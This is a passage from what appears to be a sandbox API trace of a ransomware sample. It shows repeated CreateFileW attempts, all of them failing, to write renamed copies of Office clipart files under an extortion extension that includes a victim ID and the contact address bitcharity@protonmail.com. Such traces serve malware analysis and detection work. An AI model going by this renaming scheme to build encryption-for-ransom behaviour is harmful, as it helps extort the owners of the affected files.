dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.674] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.675] CloseHandle (hObject=0x11f0) returned 1 [0246.676] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.676] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.677] CloseHandle (hObject=0x11f0) returned 1 [0246.678] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.678] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.678] CloseHandle (hObject=0x11f0) returned 1 [0246.679] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.679] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.679] CloseHandle (hObject=0x11f0) returned 1 [0246.680] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.680] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.680] CloseHandle (hObject=0x11f0) returned 1 [0246.681] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.681] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.681] CloseHandle (hObject=0x11f0) returned 1 [0246.682] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.682] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.683] CloseHandle (hObject=0x11f0) returned 1 [0246.684] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.684] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.684] CloseHandle (hObject=0x11f0) returned 1 [0246.685] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.685] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.686] CloseHandle (hObject=0x11f0) returned 1 [0246.687] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.687] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.687] CloseHandle (hObject=0x11f0) returned 1 [0246.688] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.688] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.689] CloseHandle (hObject=0x11f0) returned 1 [0246.689] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.690] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.690] CloseHandle (hObject=0x11f0) returned 1 [0246.691] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.692] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.692] CloseHandle (hObject=0x11f0) returned 1 [0246.693] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.693] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.694] CloseHandle (hObject=0x11f0) returned 1 [0246.694] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.694] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.695] CloseHandle (hObject=0x11f0) returned 1 [0246.695] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.695] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.696] CloseHandle (hObject=0x11f0) returned 1 [0246.697] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.697] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.697] CloseHandle (hObject=0x11f0) returned 1 [0246.857] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.857] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.857] CloseHandle (hObject=0x11e8) returned 1 [0246.858] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.858] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.858] CloseHandle (hObject=0x11e8) returned 1 [0246.859] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.862] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.862] CloseHandle (hObject=0x11e8) returned 1 [0246.864] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.864] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.864] CloseHandle (hObject=0x11e8) returned 1 [0246.865] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.865] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.866] CloseHandle (hObject=0x11e8) returned 1 [0246.867] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.867] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.867] CloseHandle (hObject=0x11e8) returned 1 [0246.871] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.871] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.871] CloseHandle (hObject=0x11e8) returned 1 [0246.872] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.872] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.872] CloseHandle (hObject=0x11e8) returned 1 [0246.873] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.873] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.874] CloseHandle (hObject=0x11e8) returned 1 [0246.876] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.876] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.877] CloseHandle (hObject=0x11f4) returned 1 [0246.877] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.877] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.878] CloseHandle (hObject=0x11f4) returned 1 [0246.880] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.881] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.881] CloseHandle (hObject=0x11e8) returned 1 [0246.882] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.882] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.882] CloseHandle (hObject=0x11e8) returned 1 [0246.883] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.883] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.883] CloseHandle (hObject=0x11e8) returned 1 [0246.884] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.884] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.884] CloseHandle (hObject=0x11e8) returned 1 [0246.885] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.885] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: 